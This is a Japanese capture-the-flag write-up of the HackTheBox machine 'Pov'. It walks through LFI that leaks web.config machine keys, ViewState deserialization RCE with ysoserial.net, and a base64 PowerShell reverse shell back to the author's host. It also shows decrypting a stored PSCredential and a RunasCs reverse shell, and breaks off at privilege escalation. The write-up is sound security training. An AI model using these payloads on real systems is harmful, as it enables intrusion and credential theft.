HackTheBox Pov WriteUp

今回はHackTheBoxのMediumマシン「Pov」のWriteUpです。
名前からはどのようなマシンなのかよくわかりません。。楽しみです！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/c799983f-58b7-5dd1-96b4-c5bb1e826379.png)

グラフはいつものMediumマシンといった感じでしょうか。
攻略目指して頑張ります～！

HackTheBoxって何？という方は下記の記事を見てみてください！一緒にハッキングしましょう〜！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476

## Pov

### 列挙

それでは攻略を始めていきましょう。
まずは```nmap```を実行します。

```bash
+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ sudo nmap -Pn -v -n -sV -p- --min-rate=1000 10.10.11.251

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
```

80番のみオープンしているようです。Windowsでは珍しいですね。
とりあえずブラウザでアクセスしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/ac5dec7a-a302-df4c-f84f-c1c5127abd41.png)

サイバーセキュリティ関連のプロジェクトである見守りサービス？のようなサイトが表示されました。タイトルを見ると```pov.htb```とドメインを得ることができます。
現状、サイトを見ても特に気になる遷移はないので、サブドメインを列挙してみることにしました。

```
+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u http://pov.htb -H 'HOST: FUZZ.pov.htb' -fs 12330

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://pov.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.pov.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 12330
________________________________________________

dev                     [Status: 302, Size: 152, Words: 9, Lines: 2, Duration: 773ms]
:: Progress: [151265/151265] :: Job [1/1] :: 258 req/sec :: Duration: [0:10:02] :: Errors: 0 ::
```

```dev```というサブドメインを発見しました。```hosts```ファイルに追記しアクセスします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/a3060294-bfa7-5df5-1b72-0addd2c9b60b.png)

新たなサイトが表示されました。
サイトの内容から、WEBの開発やUI/UXの設計を行っている「Stephen Fitz」という人のサービスを紹介するサイトであることがわかります。自己紹介もされています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/bbe49ac8-bce4-b6b9-0e06-1f9b9dc1ffed.png)

自己紹介の下に「Download CV」と書かれたボタンがあります。CVをダウンロードすることができるようなので、押下してみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/874096c2-91f9-4169-2f8c-bbe4bc264112.png)

PDFがダウンロードされました。PDFを取得したら、とりあえず```exiftool```を実行するというのがマストなので、実行してみましょう。

```bash
+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ exiftool /home/kali/Downloads/cv.pdf 
ExifTool Version Number         : 12.76
File Name                       : cv.pdf
Directory                       : /home/kali/Downloads
File Size                       : 148 kB
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.7
Linearized                      : No
Page Count                      : 1
Language                        : es
Tagged PDF                      : Yes
XMP Toolkit                     : 3.1-701
Producer                        : Microsoft® Word para Microsoft 365
Creator                         : Turbo
Creator Tool                    : Microsoft® Word para Microsoft 365
Create Date                     : 2023:09:15 12:47:15-06:00
Modify Date                     : 2023:09:15 12:47:15-06:00
Document ID                     : uuid:3046DD6C-A619-4073-9589-BE6776F405F2
Instance ID                     : uuid:3046DD6C-A619-4073-9589-BE6776F405F2
Author                          : Turbo
```

特に脆弱性は見つかりません。

### Local File Inclusion

他にこのPDF関連で試せることがないかを調べるため、ダウンロードを行う際のリクエストを確認してみます。（わかりやすくするため、改行を入れています。）

```
POST /portfolio/default.aspx HTTP/1.1
Host: dev.pov.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 365
Origin: http://dev.pov.htb
Connection: close
Referer: http://dev.pov.htb/portfolio/default.aspx
Upgrade-Insecure-Requests: 1

__EVENTTARGET=download&
__EVENTARGUMENT=&
__VIEWSTATE=GGes3w8NTOCKxb8Tzgj%2B0DSB8vQs6FPiafaGqh3DSqvT6C0vJjsE4%2BCpLSh%2FjRfneTNUb9PTZcWOrkpMqZ%2BsmZaxkQ0%3D&
__VIEWSTATEGENERATOR=8E0F0FA3&
__EVENTVALIDATION=qJUjBQUjTYYadZqXYwdtDtBpCrrQwE6%2Flf69%2FRcFEByhzmzlx8PWh5AmEO6sh5uYOCpFiSeBFvD7UbeJauanyJh8LJsXIr%2Bajo67VMQToJ%2FZbaa%2FVkF5UBeb7aVC71cmk67Ogw%3D%3D&
file=cv.pdf
```

```file```というパラメータが使用されています。もしかするとLFIに脆弱かもしれません。
まず```..\```を使用して```hosts```ファイルが読み取れるか試してみました。

```
-- request
file=..\..\..\Windows\System32\drivers\etc\hosts

-- response
[302] Object moved to <a href="/default.aspx?aspxerrorpath=/portfolio/default.aspx">here
```

ステータスコードは302で、ファイルを読み取ることはできませんでした。
もしかすると、```..\```はいらない可能性があるので、```C:\Windows\System32\drivers\etc\hosts```と入力し再度試してみます。

```
-- request
file=C:\Windows\System32\drivers\etc\hosts

-- response
[200] # Copyright (c) 1993-2009 Microsoft Corp. ~ 127.0.0.1   pov.htb dev.pov.htb
```

```hosts```ファイルを出力されることができました！
では、LFIを悪用して列挙を進めます。IISのWEBサーバとして気になるのは```web.config```というファイルです。こちらのファイルの絶対パスはわからないので、```..\```を使用し、読み取ります。

```
-- request
file=..\web.config

-- response
[200] 
<configuration>
  <system.web>
    <customErrors mode="On" defaultRedirect="default.aspx" />
    <httpRuntime targetFramework="4.5" />
    <machineKey decryption="AES" decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" validation="SHA1" validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />
  </system.web>
```

```web.config```を読み取ることに成功しました。

### Remote Code Execution

ファイルの内容から```ASP.NET```のフレームワークのバージョンが4.5であることがわかります。このバージョン関連で脆弱性がないかを調べてみると、以下の記事を発見しました。

https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-__viewstate-parameter#test-case-4-.net-greater-than-4.5-and-enableviewstatemac-true-false-and-viewstateencryptionmode-true

記事によると、```ASP.NET```のフレームワークバージョンが4.5以上で```EnableViewStateMac```などが特定の値の時、RCEを発火させることができるようです。
この攻撃には、```ysoserial```が必要であるため、以下のリポジトリからダウンロードしてください。

https://github.com/pwntester/ysoserial.net

では実際に攻撃を行いましょう。攻撃に際していくつかオプションを設定する必要があります。今回はそれぞれを以下のように設定することにしました。

```
-p : ViewState
-g : TextFormattingRunProperties
--path : /portfolio/default.aspx
--decryptionalg : AES
--decryptionkey : 74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43
--validationalg : SHA1
--validationkey : 5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468
-c : ping 10.10.14.8
```

```--decryptionkey```や```--validationkey```は、```web.config```で出力された値をそのまま使用します。このオプションで```ysoserial```を実行しましょう。

```
PS C:\> .\ysoserial.exe -p ViewState -g TextFormattingRunProperties --path="/portfolio/default.aspx" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" -c "ping 10.10.14.8"
1%2FPP1aNlur8DiTcOmmNn7qEGWuv5gDvcelzMt3FZV4ASO5DxZKCd4gwvK8GQYkvAnUOlHaBXus%2B6qYigG%2BtuEbFCb9fGU1isgm76OCX4eeQmZ3L9kwi9JOfao%2B%2FVIqmW%2F2P%2Fhxm9pycbJP%2F%2BvWg%2B5P1VpH1AH8iYxpgBmkhTB%2BGx7%2BJOGPjmFMWkzLdhyIU70OsPRnfl8LD2Vdg7HH4OtcVwEl5x7l2EYWWZlqG9hp2c307MB0g6BvhPz6eaT3wtSBoq%2F4y7xcRrwgf8jROYODIRkDPVteRF9HqYCYNDThOKmGVKl%2FGKlJunXE0Gk0XpOaN8uUlmhUa0dqNv0vTYRaJiMbPchFbeEp2W6MOQYG%2FwNwh%2FIZh%2B369faR6K%2F7O3EfADPSiGr5OSNrRXHT7iFwxnQ7FbyWr4x6L5tAF48wJqG%2FwVINOrN5mZNVcqtsE4FMS%2B%2FpZlxS9366AbXKFja%2FtCYtFguHJiKbHvxjgap3oa2UYGq0w2MuixOhXlZKdRhA%2Fp8aPcmk8WMbGQG041lvpgwNYSuYYjAIJuiioRQ9SE5bxMAcX81WxGDh3o8BQVON8gciqJYt%2BteR61lrJ2AgheC1aLqRm0hMVuInvsFDLJ1rBpD84XEFM3XkZnIigczHrjIFrW8qjfI4MHwPmEmI8mQkx%2Fy3a0%2BEvdnk2TG0OmwhewEHLkVaeECXdr4uGrGTh24vI7wYWVZnxGm0%2BFKnQ4jYYOoaR9YyGPzFwE3eW6AIz9yLLCnybfTWPpLyMW%2BKqC36D78c%2BOV1Jdpw1EgR6QAo42V1MDdbjX%2B3fdXdahB3th8k11%2FznqveTHBZodsSOcJjZ8YaOOwp0EdjnsdDeo85FyafzxMLrQp2riCzEYqBcLiJC6NKKL8s%2BaRHjOAKjgFYo4UyWv1nUEGKCk0xK9b6vHB%2FUBQcpz3Iswjy%2FiwTPfBGercIQpxA66BVLGio39I65bWAZSG7RMljCMf0%2F4GRKN5zbA9KJIEdbuaLky3n917B1ca7eH4zfMfUrichN55YKwjWGJgoe3qPFmLpEyS1vVlUniebJ%2F0o8XAJFhW6gtOFWFRsrLhmHf3IaQTnJxVpOF7F6p%2Fdn%2FcUNoOOhom8clwDeuNlG266LtztsgG5nNn4WEXBAUPwqXlk0pidCGO3UZ9mt5%2FFQA7MhGNg2iwAcHOBu6W5D31s61PfMGrgosQIDtD3H499wphR0DRyQ65HvGDVcIPcZmkbZw99YqkoDBVRt7OGGUClVdy9tyr60oDArOJ7MKCTMFhWAPpfVssfOV6TtOK%2B7M0w4B%2Bc%2Bn1rI%3D
```

実行に成功すると、ペイロードが出力されます。あとは、このペイロードを```__VIEWSTATE```に指定し、リクエストを送信するだけです。
送信する前に、```tcpdump```を実行しておきましょう。

```bash
+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ sudo tcpdump -i tun0 icmp
[sudo] password for kali: 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
```

これで```ping```通信を確認する準備が整ったので、リクエストを送信しましょう。

```
-- request
__VIEWSTATE=1%2FPP1aNlur8DiTcOmmNn7qEGWuv5gDvcelzMt3FZV4ASO5DxZKCd4gwvK8GQYkvAnUOlHaBXus%2B6qYigG%2BtuEbFCb9fGU1isgm76OCX4eeQmZ3L9kwi9JOfao%2B%2FVIqmW%2F2P%2Fhxm9pycbJP%2F%2BvWg%2B5P1VpH1AH8iYxpgBmkhTB%2BGx7%2BJOGPjmFMWkzLdhyIU70OsPRnfl8LD2Vdg7HH4OtcVwEl5x7l2EYWWZlqG9hp2c307MB0g6BvhPz6eaT3wtSBoq%2F4y7xcRrwgf8jROYODIRkDPVteRF9HqYCYNDThOKmGVKl%2FGKlJunXE0Gk0XpOaN8uUlmhUa0dqNv0vTYRaJiMbPchFbeEp2W6MOQYG%2FwNwh%2FIZh%2B369faR6K%2F7O3EfADPSiGr5OSNrRXHT7iFwxnQ7FbyWr4x6L5tAF48wJqG%2FwVINOrN5mZNVcqtsE4FMS%2B%2FpZlxS9366AbXKFja%2FtCYtFguHJiKbHvxjgap3oa2UYGq0w2MuixOhXlZKdRhA%2Fp8aPcmk8WMbGQG041lvpgwNYSuYYjAIJuiioRQ9SE5bxMAcX81WxGDh3o8BQVON8gciqJYt%2BteR61lrJ2AgheC1aLqRm0hMVuInvsFDLJ1rBpD84XEFM3XkZnIigczHrjIFrW8qjfI4MHwPmEmI8mQkx%2Fy3a0%2BEvdnk2TG0OmwhewEHLkVaeECXdr4uGrGTh24vI7wYWVZnxGm0%2BFKnQ4jYYOoaR9YyGPzFwE3eW6AIz9yLLCnybfTWPpLyMW%2BKqC36D78c%2BOV1Jdpw1EgR6QAo42V1MDdbjX%2B3fdXdahB3th8k11%2FznqveTHBZodsSOcJjZ8YaOOwp0EdjnsdDeo85FyafzxMLrQp2riCzEYqBcLiJC6NKKL8s%2BaRHjOAKjgFYo4UyWv1nUEGKCk0xK9b6vHB%2FUBQcpz3Iswjy%2FiwTPfBGercIQpxA66BVLGio39I65bWAZSG7RMljCMf0%2F4GRKN5zbA9KJIEdbuaLky3n917B1ca7eH4zfMfUrichN55YKwjWGJgoe3qPFmLpEyS1vVlUniebJ%2F0o8XAJFhW6gtOFWFRsrLhmHf3IaQTnJxVpOF7F6p%2Fdn%2FcUNoOOhom8clwDeuNlG266LtztsgG5nNn4WEXBAUPwqXlk0pidCGO3UZ9mt5%2FFQA7MhGNg2iwAcHOBu6W5D31s61PfMGrgosQIDtD3H499wphR0DRyQ65HvGDVcIPcZmkbZw99YqkoDBVRt7OGGUClVdy9tyr60oDArOJ7MKCTMFhWAPpfVssfOV6TtOK%2B7M0w4B%2Bc%2Bn1rI%3D

-- response
[302] Object moved to <a href="/default.aspx?aspxerrorpath=/portfolio/default.aspx">here
```

レスポンスは302が返ってきますが、```tcpdump```を確認すると...

```bash
+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ sudo tcpdump -i tun0 icmp
[sudo] password for kali: 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
09:10:16.580798 IP pov.htb > 10.10.14.8: ICMP echo request, id 1, seq 1, length 40
09:10:16.580841 IP 10.10.14.8 > pov.htb: ICMP echo reply, id 1, seq 1, length 40
09:10:17.487319 IP pov.htb > 10.10.14.8: ICMP echo request, id 1, seq 2, length 40
09:10:17.487337 IP 10.10.14.8 > pov.htb: ICMP echo reply, id 1, seq 2, length 40
09:10:18.403560 IP pov.htb > 10.10.14.8: ICMP echo request, id 1, seq 3, length 40
09:10:18.403580 IP 10.10.14.8 > pov.htb: ICMP echo reply, id 1, seq 3, length 40
09:10:19.320343 IP pov.htb > 10.10.14.8: ICMP echo request, id 1, seq 4, length 40
09:10:19.320377 IP 10.10.14.8 > pov.htb: ICMP echo reply, id 1, seq 4, length 40
```

コマンドの実行に成功しました！

## sfitz としてのシェル

それではシェルを取得しましょう。色々と方法はありますが、私は```revshells.com```の「PowerShell #3 (Base64)」を使用しました。
先ほどと同じようにペイロードを作成します。

```
PS C:\> .\ysoserial.exe -p ViewState -g TextFormattingRunProperties --path="/portfolio/default.aspx" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOAAiACwAMgAxADIAMQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
vDwp00aTd57b4vA3bxtxLyNTOAjfIsv1RFZc%2FFuFTwH6PH8dvvttUY2pGkazas5mCMggWOiYh3iSISiQ3V%2FKBknyweDsq8qRT%2Bd8IfyEbVVNcetD7G4iPUXlf3xqAqLI36CEnOGPWrTVPkWNHcJ%2Bt394AzKxtythWmi%2BF47ocIKKdZJ2PPWxMMstg0v9uvuUoLgMWn2Rhm1GYf%2BVwgqu52AtqTh6xN2pW9%2FYTV%2B6DrQN7LXof%2Fc%2BkwiyWCoRK7o7rMtBBTlOBAKB2%2Fj1m1%2FVF3aTqVbvI%2F1PCTLJv1qDDDQBh93pVeIHHJMbcN6q6zB0PWqAxMjZ6CGqbWMJNNoTMse7uUL13bPhxd73nUwo%2BOWlyTa7uoeubKzojKrcNnUIxNr6itaOeUqOHDyQAeBoNjq4Rct3WKEurZUDY5ya7ExVp5zhx8O54rNPyRfzKDKY2cJ05ZwsYqbrXFJVgfXE%2FaxnryEpRlihXK9aHiZKmH7kPRF4weztFVXkoLiJxSrkNwl0tfn9qtcM2OZuxTdNN4z9rFEcgY5cFK2d24mMP353%2FYcHB28TSSbLXGBLbWmefGBELPeW3IlFTW%2F%2BbTeSGJG6NHdXRkCDUbG4Rb%2B5zIKS413dBOup7LhC9jjN2LCPZhZrCfa6RsFTzlvVi46JEu%2BARhTvC7%2Bql9bDzZkbto2twOxr60WZ9x500CL72ZGgpPfkaCI6qh7kjmJrOfN3X9UXxa6MBWDglk6CPCk2wa%2B0DedRYvH0P0Jf51Ekjelinrse7%2BjvexTKE%2FitKNMaTg32JVFlVefTtQ2tdfKesl%2FtPSgb8O5tUb1kkA84NcG0UakF7LNBDKI9EgS%2BFA5Urz%2F4BCWdyDSMJsLBGoDHWz4wf3p1ApZB1hDnslLabgAkyaeJETkXU8b9QYyYKI687vbOzQStSWH%2Bc8VLIZBiu0fsD4wMhp4rA7SUCPxF211mS1ms7VCUfl8Kqb1qaeRX%2FTAl6YIQJeuJE%2BFRKehvLpRLWK1WXqyu6lRCHznShhmSD5hST9H3CuD%2BTjV3zAFxCK1xgQoOHrMdcffijTDM5bsqKH5rJzqdJ%2Bqt9A8mnbl2NETZwNytIByLeiH6W8Jpfr82bYFoPXhx52YUb8nxM2y0POJ0UyNx%2B3qkxIB59bEC1WqkaigR%2B4TsBgnrjvSLRPaIoIgu6n5omGBXkogYT%2FSM3bk2MebiqSwgsfObFjlnabTnF%2BjnRDzoMBzQZUu4d7pHA2yzwKSpW7vrnAWBAISkhbEQuzXDQPujjjV6hGXk%2B%2BLufqLWYjsrzN4I39K04o8nnT5uNU%2BTCo1F16frVRQZAIEcWx6Kf1Pbwxb%2Bw21xXRzFWBf9gZ2Cy3e1AnFLd4L6IIss0LcX6NeF0OSsCkaabd0F7JeN4SwRYW1BctdVSZVCKZYIi7bIfqccM7fi0njp1z%2BAWntTZmFJ3l%2FiuHnQE15QtkFRusLo4hJB3SidqNPFjtSlGzUditBRttK6JhHdfClceAqNFF1Dex5r3NccZav70CE9g5bX9WSrHrDDQESD5BanciidX1Kj7c%2FWTw%2F01NeOumvFGqYAi8S%2FmTk9BnV%2FXDiAbo%2BtEI1NQeimj0EqW5SPQLDjXat%2Fquo8f2P4erlhUFVUzb3W6me04rl3dykOgDuq%2FlUhlxif2QnIhQaDkB4VV%2BJaF4nWP1CddrH2S8XpuElZk%2BsWJodnR2hm4bnnvNatGY6xo%2B7pI9n5eGttrHgpozn1oPzuPp9IhnzITXi7o7R7mFN25sL5L2HOmdnnoeh67TFeKh8fOAdYBcuULKfq5vRB30Qimp7bgCSZy4gsiynejboty9tGD6RQZT88M7tBhSVKaIo51b3ufjp0OhGwnMNOQkaqrWUGWJJxAtoPfA1sqatUU0MUMutjLxOD7dXYC%2B4sEMUTZMGuX2YCwD%2FlpR4idLlLXhN%2FLzk9Lgetf%2FyaZJQnrY1RXPlDFFttoSgzyeMjufAkQzGxr8AMYQwEzBKkLp9Wn4nsVZmhDcl879HpEhxU%2BY%2FWrjymARjPj%2BPJ%2F%2Fxa3XzYRt5c%2BxgGcsscs2ZgfZ14AELP0ppcgjYvsPww3H7SSqxujqxnHpDLui12wuP98GqEUp%2BflfUb4nj4ka0XpYFsOYV%2FTkEp6YVUXDlk%2FUVXTp7KD88K4Olp65vJP8cR1RUSvqIWv3KMsYZMVzAcVnOrRDUbu0Q%2BgEAiL7opV1xCwuyUxkn22y0PP0BXFptGJ5bGCbljhcMMsiHNEhoQBwJZxEOoYm69rsqGdnSpwV2y%2F31sMBITqWttukSTt6VN4xY30ND8tcOUElwPrGH2iBj2l%2B1nY84kHURgasZDa0U3Wc4%2FCnthFIOV3YET96YpN%2BgOg6U4HE5uRilE99Zbm704ZMif7ISz0Wkv0WU1PCrCfsD%2BED7lO1DAhs3FWsHkNgywY0G1KbeCou8jX%2FtJB1Vstq%2FJzaAFk8H4WrsK9ix7TasZRz96DTfGikx1JeJMy4YI61g3m9mKa1uHT141cgzN8Q3eawB0ciVWm52Z5nKp7ttAviZqd5Yks79%2FGbzPf67HlmU3asKzxkCeJppO9AR2zTSvQkUdz0XobCvDDdVFJbR%2Fn96mrjVOWO8M72vh0KTWhN3LrKTAPD0MXzdiopNGPaAKmHveNpYYWGyaeWMsZ7XYPNWzCF9CX%2B1mi84dRwi7tKXza0fMaRFhlPDx0B8zdmz0sb0Ko%2F%2BKZmTrFSd84sYxtc%2FNllxasCs1M5TbPARUv3uAm%2BX1d1o2cPNORVlvvB5pESi9I%2F%2BESlwHKPU4IfJm3OsS%2F0UrzPGKJEu0QaUXUxhcm%2F5am6f1dTBo%2BXdHtrw0m5nkOnY3k3Bz7UggBzrx93dpLlom268jZhzIruRU6zgmS7NCYFVUHN0u33kN2lm%2FT49MinSxCfhj2gHXovay5Rv%2FP8TYmyAG7U3NdYR0G5E62Ejb%2FG5aBEOAdqPuZHcWDmciFOKAYEyEoXWxmONBGWqtBWI3PbFYZVFPbE4fgymJ3ywozZVTx1%2Ft1HjGUL1fgz2CvzdHyp7BhsMsnmDmWqiYQ4MXm7iS3%2FQbUbo8uU572X8fWw%3D%3D
```

リクエスト送信前に待ち受けを作成しておきます。

```bash
+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ rlwrap nc -lnvp 2121
listening on [any] 2121 ...
```

これで準備万端です！リクエストを送信し、待ち受けを確認しましょう。

```
+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ rlwrap nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.251] 49671

PS C:\windows\system32\inetsrv> whoami
pov\sfitz
```

シェルを取得できました！

### 横移動

```sfitz```ユーザとしてのシェルを取得できましたが、まだユーザフラグを取得できなかったので、横移動が必要です。存在するユーザを確認するため、```\Users```配下を確認します。

```
PS C:\Users> dir

    Directory: C:\Users

Mode                LastWriteTime         Length Name    
----                -------------         ------ ----    
d-----       10/26/2023   4:31 PM                .NET v4.5     
d-----       10/26/2023   4:31 PM                .NET v4.5 Classic    
d-----       10/26/2023   4:21 PM                Administrator      
d-----       10/26/2023   4:57 PM                alaading    
d-r---       10/26/2023   2:02 PM                Public    
d-----       12/25/2023   2:24 PM                sfitz          
```

```alaading```というユーザを確認しました。存在するユーザの確認もできたので、列挙を始めていきます。

まず、```\Users\sfitz```配下に怪しいファイルがないかを確認してみると、ドキュメントフォルダでXMLファイルを発見しました。

```
PS C:\Users\sfitz\Documents> dir

    Directory: C:\Users\sfitz\Documents

Mode                LastWriteTime         Length Name       
----                -------------         ------ ----       
-a----       12/25/2023   2:26 PM           1838 connection.xml         
```

ファイル名からして怪しいので内容を確認してみます。

```
PS C:\Users\sfitz\Documents> type connection.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">alaading</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6</SS>
    </Props>
  </Obj>
</Objs>
```

```alaading```のPSCredentialを発見しました！
このパスワードは暗号化されているので解読が必要ですが、```Import-Clixml```を実行するだけで簡単に解読できます。

```
PS C:\Users\sfitz\Documents> $encryptedPassword = Import-Clixml -Path 'C:\Users\sfitz\Documents\connection.xml'
PS C:\Users\sfitz\Documents> $encryptedPassword.GetNetworkCredential().Password
f8gQ8fynP44ek1m3
```

パスワードが解読できました！

## alaading としてのシェル

それでは、認証情報を使用しシェルを取得しましょう。
まずは待ち受けを作成しておきます。

```bash
+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ rlwrap nc -lnvp 2122
listening on [any] 2122 ...
```

これで準備万端です。シェルの取得には定番の```RunasCs```を使用します。

```
PS C:\Users\Public\Downloads> .\RunasCs.exe alaading f8gQ8fynP44ek1m3 cmd.exe -r 10.10.14.8:2122

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-eb5d7$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 2064 created in background.
```

実行に成功していそうです。待ち受けを確認しましょう。

```
+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ rlwrap nc -lnvp 2122
listening on [any] 2122 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.251] 49674
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
pov\alaading
```

横移動に成功しました！

```
C:\Users\alaading\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 0899-6CAF

 Directory of C:\Users\alaading\Desktop

01/11/2024  07:43 AM    <DIR>          .
01/11/2024  07:43 AM    <DIR>          ..
06/09/2024  01:22 AM                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   7,185,960,960 bytes free
```

ユーザフラグも取得できました！

### 権限昇格

ユーザフラグも取得できたので、ここから権限昇格を目指していきましょう。
まずは権限を確認します。

```
C:\Users\alaading\Desktop>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeDebugPrivilege              Debug programs                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
```

